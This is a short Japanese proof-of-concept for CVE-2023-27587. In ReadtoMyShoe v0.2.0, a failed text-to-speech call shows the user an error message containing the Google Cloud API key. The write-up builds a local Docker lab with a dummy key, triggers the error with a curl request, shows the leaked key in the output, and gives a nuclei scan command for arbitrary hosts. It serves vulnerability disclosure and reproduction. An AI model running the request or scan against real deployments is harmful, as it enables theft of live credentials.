CVE-2023-27587のシンプルなPoC
ReadtoMyShoe (RTMS)は、記事をURL経由または直接貼り付けてアップロードし、後で聴くことができるWebアプリケーション(rust、yew、axum)です。
記事の追加時にエラーが発生すると、Webサイトはユーザーにエラーメッセージを表示します。エラーがGoogle Cloud TTSリクエストに起因する場合、リクエストの完全なURLが含まれます。リクエストURLにはGoogle Cloud APIキーが含まれています。
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul
キーはGCP呼び出しでエラーが発生した場合にのみ露出します!
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
-H 'Accept-Encoding: gzip, deflate' \
-H 'content-type: application/json' \
--data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'
TTS failed: TTS request failed
Caused by:
HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>
